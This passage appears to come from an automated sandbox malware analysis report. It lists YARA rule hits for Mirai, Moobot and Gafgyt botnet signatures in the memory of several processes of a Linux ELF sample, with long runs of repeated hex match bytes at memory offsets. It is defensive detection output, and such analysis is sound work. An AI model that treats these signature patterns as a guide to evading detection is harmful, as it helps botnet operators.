78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6252	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6252	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6252	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6253	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6253	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x176f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1783:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1797:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x180f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1823:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1837:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x184b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1873:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1887:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x189b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6254	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6254	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x175e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1772:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1786:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x179a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1812:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1826:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x183a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x184e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1862:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1876:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x188a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x189e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18b2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18da:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18ee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6255	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6255	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x14cd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14e1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14f5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1509:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x151d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1531:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1545:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1559:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x156d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1581:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1595:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15a9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15bd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15d1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15e5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15f9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x160d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1621:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1635:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1649:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x165d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6256	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6256	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1733:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1747:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x175b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x176f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1783:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1797:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x180f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1823:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1837:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x184b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1873:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1887:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x189b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6257	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6257	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6257	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x102d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1041:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1055:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6258	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6258	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6258	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6259	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6259	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6259	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6260	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
